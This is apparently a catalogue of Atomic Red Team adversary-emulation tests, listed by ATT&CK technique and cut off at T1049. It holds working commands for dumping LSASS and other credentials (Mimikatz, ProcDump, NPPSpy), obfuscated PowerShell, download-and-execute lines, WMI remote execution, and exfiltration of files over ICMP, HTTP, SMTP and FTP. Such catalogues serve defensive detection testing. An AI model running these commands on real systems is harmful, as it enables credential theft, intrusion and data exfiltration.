T1003 OS Credential Dumping · 7 tests
command_promptelevatedwindowsGsecdump
"#{gsecdump_exe}" -a
powershellelevatedwindowsCredential Dumping with NPPSpy
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll" -Destination "C:\Windows\System32"
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore
echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"
powershellelevatedwindowsDump svchost.exe to gather RDP credentials
$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full
powershellelevatedwindowsRetrieve Microsoft IIS Service Account Credentials Using AppCmd (using list)
C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*
powershellelevatedwindowsRetrieve Microsoft IIS Service Account Credentials Using AppCmd (using config)
C:\Windows\System32\inetsrv\appcmd.exe list apppool /config
powershellwindowsDump Credential Manager using keymgr.dll and rundll32.exe
rundll32.exe keymgr,KRShowKeyMgr
powershellwindowsSend NTLM Hash with RPC Test Connection
rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null
T1003.001 LSASS Memory · 14 tests
command_promptelevatedwindowsDump LSASS.exe Memory using ProcDump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
powershellelevatedwindowsDump LSASS.exe Memory using comsvcs.dll
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
command_promptelevatedwindowsDump LSASS.exe Memory using direct system calls and API unhooking
"#{dumpert_exe}"
command_promptelevatedwindowsDump LSASS.exe Memory using NanoDump
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
manualwindowsDump LSASS.exe Memory using Windows Task Manager
command_promptelevatedwindowsOffline Credential Theft With Mimikatz
"#{mimikatz_exe}" "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
command_promptelevatedwindowsLSASS read with pypykatz
"#{venv_path}\Scripts\pypykatz" live lsa
powershellelevatedwindowsDump LSASS.exe Memory using Out-Minidump.ps1
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
command_promptelevatedwindowsCreate Mini Dump of LSASS.exe using ProcDump
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
powershellelevatedwindowsPowershell Mimikatz
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
powershellelevatedwindowsDump LSASS with createdump.exe from .Net v5
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
powershellelevatedwindowsDump LSASS.exe using imported Microsoft DLLs
#{xordump_exe} -out #{output_file} -x 0x41
powershellelevatedwindowsDump LSASS.exe using lolbin rdrleakdiag.exe
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
command_promptelevatedwindowsDump LSASS.exe Memory through Silent Process Exit
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1007 System Service Discovery · 8 tests
command_promptelevatedwindowsSystem Service Discovery
tasklist.exe /svc
sc query
sc query state= all
command_promptwindowsSystem Service Discovery - net.exe
net.exe start >> #{output_file}
bashlinuxSystem Service Discovery - systemctl/service
if [ "$(uname)" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;
command_promptwindowsGet-Service Execution
powershell.exe Get-Service
shmacosSystem Service Discovery - macOS launchctl
launchctl list
command_promptwindowsSystem Service Discovery - Windows Scheduled Tasks (schtasks)
schtasks /query /fo LIST /v
powershellwindowsSystem Service Discovery - Services Registry Enumeration
Get-ChildItem -Path 'HKLM:\SYSTEM\CurrentControlSet\Services' |
ForEach-Object {
$p = Get-ItemProperty -Path $_.PSPath -ErrorAction SilentlyContinue
[PSCustomObject]@{
Name = $_.PSChildName
DisplayName = $p.DisplayName
ImagePath = $p.ImagePath
StartType = $p.Start
}
}
shlinuxSystem Service Discovery - Linux init scripts
echo "[*] Listing SysV init scripts (/etc/init.d):"
if [ -d /etc/init.d ]; then ls -l /etc/init.d; else echo "/etc/init.d not present on this system"; fi
echo
echo "[*] Listing runlevel directories (/etc/rc*.d):"
ls -ld /etc/rc*.d 2>/dev/null || echo "No /etc/rc*.d directories found"
T1012 Query Registry · 6 tests
command_promptelevatedwindowsQuery Registry
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
reg query HKLM\system\currentcontrolset\services /s | findstr ImagePath 2>nul | findstr /Ri ".*\.sys$"
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup"
powershellelevatedwindowsQuery Registry with Powershell cmdlets
Get-Item -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
Get-ChildItem -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\" | findstr Windows
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunServices"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\RunServices"
Get-Item -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
Get-Item -Path "HKLM:Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
Get-Item -Path "HKCU:Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
Get-Item -Path "HKLM:Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
Get-Item -Path "HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunOnce"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunOnceEx"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Run"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\Run"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\RunOnce"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
Get-ChildItem -Path "HKLM:system\currentcontrolset\services"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Run"
Get-Item -Path "HKLM:SYSTEM\CurrentControlSet\Control\SafeBoot"
Get-ChildItem -Path "HKLM:SOFTWARE\Microsoft\Active Setup\Installed Components"
Get-ChildItem -Path "HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup"
powershellwindowsEnumerate COM Objects in Registry with Powershell
New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > $env:temp\clsids.txt
ForEach($CLSID in Get-Content "$env:temp\clsids.txt")
{try{write-output "$($Position)-$($CLSID)"
write-output "------------"| out-file #{output_file} -append
write-output $($CLSID)| out-file #{output_file} -append
$handle=[activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | get-member -erroraction silentlycontinue | out-file #{output_file} -append
$position += 1} catch{}}
command_promptelevatedwindowsReg query for AlwaysInstallElevated status
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
command_promptelevatedwindowsCheck Software Inventory Logging (SIL) status via Registry
reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64
command_promptwindowsInspect SystemStartOptions Value in Registry
reg.exe query HKLM\SYSTEM\CurrentControlSet\Control /v SystemStartOptions
T1016 System Network Configuration Discovery · 9 tests
command_promptwindowsSystem Network Configuration Discovery on Windows
ipconfig /all
netsh interface show interface
arp -a
nbtstat -n
net config
command_promptwindowsList Windows Firewall Rules
netsh advfirewall firewall show rule name=all
shmacos, linuxSystem Network Configuration Discovery
if [ "$(uname)" = 'FreeBSD' ]; then cmd="netstat -Sp tcp"; else cmd="netstat -ant"; fi;
if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from the machine. skipping..."; fi;
if [ -x "$(command -v ifconfig)" ]; then ifconfig; else echo "ifconfig is missing from the machine. skipping..."; fi;
if [ -x "$(command -v ip)" ]; then ip addr; else echo "ip is missing from the machine. skipping..."; fi;
if [ -x "$(command -v netstat)" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi;
command_promptwindowsSystem Network Configuration Discovery (TrickBot Style)
ipconfig /all
net config workstation
net view /all /domain
nltest /domain_trusts
powershellwindowsList Open Egress Ports
$ports = Get-content "#{port_file}"
$file = "#{output_file}"
$totalopen = 0
$totalports = 0
New-Item $file -Force
foreach ($port in $ports) {
$test = new-object system.Net.Sockets.TcpClient
$wait = $test.beginConnect("allports.exposed", $port, $null, $null)
$wait.asyncwaithandle.waitone(250, $false) | Out-Null
$totalports++ | Out-Null
if ($test.Connected) {
$result = "$port open"
Write-Host -ForegroundColor Green $result
$result | Out-File -Encoding ASCII -append $file
$totalopen++ | Out-Null
}
else {
$result = "$port closed"
Write-Host -ForegroundColor Red $result
$totalclosed++ | Out-Null
$result | Out-File -Encoding ASCII -append $file
}
}
$results = "There were a total of $totalopen open ports out of $totalports ports tested."
$results | Out-File -Encoding ASCII -append $file
Write-Host $results
command_promptwindowsAdfind - Enumerate Active Directory Subnet Objects
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=subnet) #{optional_args}
command_promptwindowsQakbot Recon
"#{recon_commands}"
bashelevatedmacosList macOS Firewall Rules
sudo defaults read /Library/Preferences/com.apple.alf
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
command_promptwindowsDNS Server Discovery Using nslookup
nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%
T1018 Remote System Discovery · 22 tests
command_promptwindowsRemote System Discovery - net
net view /domain
net view
command_promptwindowsRemote System Discovery - net group Domain Computers
net group "Domain Computers" /domain
command_promptwindowsRemote System Discovery - nltest
nltest.exe /dclist:#{target_domain}
command_promptwindowsRemote System Discovery - ping sweep
for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i
command_promptwindowsRemote System Discovery - arp
arp -a
shlinux, macosRemote System Discovery - arp nix
arp -a | grep -v '^?'
shlinux, macosRemote System Discovery - sweep
for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo "#{subnet}.$ip UP" || : ; done
powershellelevatedwindowsRemote System Discovery - nslookup
$localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
$pieces = $localip.split(".")
$firstOctet = $pieces[0]
$secondOctet = $pieces[1]
$thirdOctet = $pieces[2]
foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip}
command_promptelevatedwindowsRemote System Discovery - adidnsdump
"#{venv_path}\Scripts\adidnsdump" -u #{user_name} -p #{acct_pass} --print-zones #{host_name}
command_promptwindowsAdfind - Enumerate Active Directory Computer Objects
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=computer) #{optional_args}
command_promptwindowsAdfind - Enumerate Active Directory Domain Controller Objects
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -sc dclist
shlinuxRemote System Discovery - ip neighbour
ip neighbour show
shlinuxRemote System Discovery - ip route
ip route show
shlinuxRemote System Discovery - netstat
netstat -r | grep default
shlinuxRemote System Discovery - ip tcp_metrics
ip tcp_metrics show |grep --invert-match "^127\."
powershellwindowsEnumerate domain computers within Active Directory using DirectorySearcher
$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher("(ObjectCategory=Computer)")
$DirectorySearcher.PropertiesToLoad.Add("Name")
$Computers = $DirectorySearcher.findall()
foreach ($Computer in $Computers) {
$Computer = $Computer.Properties.name
if (!$Computer) { Continue }
Write-Host $Computer}
powershellwindowsEnumerate Active Directory Computers with Get-AdComputer
Get-AdComputer -Filter *
powershellwindowsEnumerate Active Directory Computers with ADSISearcher
([adsisearcher]"objectcategory=computer").FindAll(); ([adsisearcher]"objectcategory=computer").FindOne()
powershellwindowsGet-DomainController with PowerView
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose
powershellwindowsGet-WmiObject to Enumerate Domain Controllers
try { get-wmiobject -class ds_computer -namespace root\directory\ldap -ErrorAction Stop }
catch { $_; exit $_.Exception.HResult }
command_promptwindowsRemote System Discovery - net group Domain Controller
net group /domain "Domain controllers"
powershellwindowsEnumerate Remote Hosts with Netscan
cmd /c '#{netscan_path}' /hide /auto:"$env:temp\T1018NetscanOutput.txt" /range:'#{range_to_scan}'
T1027 Obfuscated Files or Information · 11 tests
shmacos, linuxDecode base64 Data into Script
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
cat /tmp/encoded.dat | $cmd > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh
powershellwindowsExecute base64-encoded PowerShell
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
powershellwindowsExecute base64-encoded PowerShell from Windows Registry
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"
command_promptwindowsExecution from Compressed File
"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe"
powershellwindowsDLP Evasion via Sensitive Data in VBA Macro over email
Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}
powershellwindowsDLP Evasion via Sensitive Data in VBA Macro over HTTP
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"
powershellwindowsObfuscated Command in PowerShell
$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING') ; $pz2Sb0 =[TYpE]("{1}{0}{2}"-f'nv','cO','ert') ; &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') ( (&("{1}{2}{0}"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )
manualwindowsObfuscated Command Line using special Unicode characters
powershellelevatedwindowsSnake Malware Encrypted crmlog file
$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)"
command_promptwindowsExecution from Compressed JScript File
"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js"
powershellwindowsObfuscated PowerShell Command via Character Array
$ps = [char[]](112,111,119,101,114,115,104,101,108,108)
$cmd = [char[]](83,116,97,114,116,45,80,114,111,99,101,115,115,32,99,97,108,99,46,101,120,101)
& (-join $ps) "-Command" (-join $cmd)
T1027.013 Encrypted/Encoded File · 3 tests
powershellwindows, macos, linuxDecode Eicar File and Write to File
$encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
#write the decoded eicar string to file
$decodedString | Out-File $env:temp\T1027.013_decodedEicar.txt
powershellwindows, macos, linuxDecrypt Eicar File and Write to File
$encryptedString = "76492d1116743f0423413b16050a5345MgB8AGkASwA0AHMAbwBXAFoAagBkAFoATABXAGIAdAA5AFcAWAB1AFMANABVAEEAPQA9AHwAZQBjAGMANgAwADQAZAA0AGQAMQAwADUAYgA4ADAAMgBmADkAZgBjADEANQBjAGMANQBiAGMANwA2AGYANQBmADUANABhAGIAYgAyAGMANQA1AGQAMgA5ADEANABkADUAMgBiAGMANgA2AGMAMAAxADUAZABjADAAOABjAGIANAA1ADUANwBjADcAZQBlAGQAYgAxADEAOQA4AGIAMwAwADMANwAwADAANQA2ADQAOAA4ADkAZgA4ADMAZQA4ADgAOQBiAGEAMAA2ADMAMQAyADYAMwBiAGUAMAAxADgANAA0ADYAOAAxADQANQAwAGUANwBkADkANABjADcANQAxADgAYQA2ADMANQA4AGIAYgA1ADkANQAzAGIAMwAxADYAOAAwADQAMgBmADcAZQBjADYANQA5AGIANwBkADUAOAAyAGEAMgBiADEAMQAzAGQANABkADkAZgA3ADMAMABiADgAOQAxADAANAA4ADcAOQA5ADEAYQA1ADYAZAAzADQANwA3AGYANgAyADcAMAAwADEAMQA4ADEAZgA5ADUAYgBmAGYANQA3ADQAZQA4AGUAMAAxADUANwAwAGQANABiADMAMwA2ADgANwA0AGIANwAyADMAMQBhADkAZABhADEANQAzADQAMgAzADEANwAxADAAZgAxADkAYQA1ADEAMQA="
$key = [byte]1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
$decrypt = ConvertTo-SecureString -String $encryptedString -Key $key
$decryptedString = [Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($decrypt))
#Write the decrypted eicar string to a file
$decryptedString | Out-File $env:temp\T1027.013_decryptedEicar.txt
bashlinux, macosPassword-Protected ZIP Payload Extraction and Execution
echo '#!/bin/bash' > /tmp/art_payload.sh
echo 'echo "T1027.013: Payload extracted from encrypted ZIP"' >> /tmp/art_payload.sh
echo 'echo "Hostname: $(hostname)"' >> /tmp/art_payload.sh
echo 'echo "User: $(whoami)"' >> /tmp/art_payload.sh
echo 'uname -a' >> /tmp/art_payload.sh
cd /tmp && zip -P "#{zip_password}" art_encrypted.zip art_payload.sh
rm /tmp/art_payload.sh
echo "Encrypted ZIP created. Extracting with password..."
unzip -P "#{zip_password}" -o /tmp/art_encrypted.zip -d /tmp/
echo "Executing extracted payload:"
bash /tmp/art_payload.sh
T1033 System Owner/User Discovery · 7 tests
command_promptwindowsSystem Owner/User Discovery
cmd.exe /C whoami
wmic useraccount get /ALL
quser /SERVER:"#{computer_name}"
quser
qwinsta.exe /server:#{computer_name}
qwinsta.exe
for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
shlinux, macosSystem Owner/User Discovery
users
w
who
powershellwindowsFind computers where user has session - Stealth mode (PowerView)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose
powershellwindowsUser Discovery With Env Vars PowerShell Script
[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt
$env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append
powershellwindowsGetCurrent User with PowerShell Script
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt
powershellwindowsSystem Discovery - SocGholish whoami
$TokenSet = @{
U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
N = [Char[]]'0123456789'
}
$Upper = Get-Random -Count 5 -InputObject $TokenSet.U
$Number = Get-Random -Count 5 -InputObject $TokenSet.N
$StringSet = $Upper + $Number
$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''
$file = "rad" + $rad + ".tmp"
whoami.exe /all >> #{output_path}\$file
command_promptwindowsSystem Owner/User Discovery Using Command Prompt
set file=#{output_file_path}\user_info_%random%.tmp
echo Username: %USERNAME% > %file%
echo User Domain: %USERDOMAIN% >> %file%
net users >> %file%
query user >> %file%
T1047 Windows Management Instrumentation · 10 tests
command_promptwindowsWMI Reconnaissance Users
wmic useraccount get /ALL /format:csv
command_promptwindowsWMI Reconnaissance Processes
wmic process get caption,executablepath,commandline /format:csv
command_promptwindowsWMI Reconnaissance Software
wmic qfe get description,installedOn /format:csv
command_promptwindowsWMI Reconnaissance List Remote Services
wmic /node:"#{node}" service where (caption like "%#{service_search_string}%")
command_promptwindowsWMI Execute Local Process
wmic process call create #{process_to_execute}
command_promptwindowsWMI Execute Remote Process
wmic /user:#{user_name} /password:#{password} /node:"#{node}" process call create #{process_to_execute}
command_promptwindowsCreate a Process using WMI Query and an Encoded Command
powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA
powershellelevatedwindowsCreate a Process using obfuscated Win32_Process
$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process"))
$NewClass = $Class.Derive("#{new_class}")
$NewClass.Put()
Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}
command_promptwindowsWMI Execute rundll32
wmic /node:#{node} process call create "rundll32.exe \"#{dll_to_execute}\" #{function_to_execute}"
command_promptelevatedwindowsApplication uninstall using WMIC
wmic /node:"#{node}" product where "name like '#{product}%%'" call uninstall
T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol · 8 tests
manualmacos, linuxExfiltration Over Alternative Protocol - HTTP
powershellwindowsExfiltration Over Alternative Protocol - ICMP
$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }
manuallinuxExfiltration Over Alternative Protocol - DNS
powershellwindowsExfiltration Over Alternative Protocol - HTTP
$content = Get-Content #{input_file}
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content
powershellwindowsExfiltration Over Alternative Protocol - SMTP
Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}
powershellwindowsMAZE FTP Upload
$Dir_to_copy = "$env:windir\temp"
$ftp = "ftp://#{ftp_server}/"
$web_client = New-Object System.Net.WebClient
$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')
if (test-connection -count 1 -computername "#{ftp_server}" -quiet)
{foreach($file in (dir $Dir_to_copy "*.7z"))
{echo "Uploading $file..."
$uri = New-Object System.Uri($ftp+$file.name)
$web_client.UploadFile($uri, $file.FullName)}}
else
{echo "FTP Server Unreachable. Please verify the server address in input args and try again."}
powershellelevatedwindowsExfiltration Over Alternative Protocol - FTP - Rclone
$rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "rclone.exe" | Select-Object -ExpandProperty FullName
$exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "exfil.zip" | Select-Object -ExpandProperty FullName
&$rclone_bin config create ftpserver "ftp" "host" #{ftp_server} "port" #{ftp_port} "user" #{ftp_user} "pass" #{ftp_pass}
&$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate
shlinuxPython3 http.server
[ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9
if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi
T1049 System Network Connections Discovery · 7 tests
command_promptwindowsSystem Network Connections Discovery
netstat -ano
net use
net sessions 2>nul
powershellwindowsSystem Network Connections Discovery with PowerShell
Get-NetTCPConnection
powershellwindowsSystem Network Connections Discovery via PowerShell (Process Mapping)
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
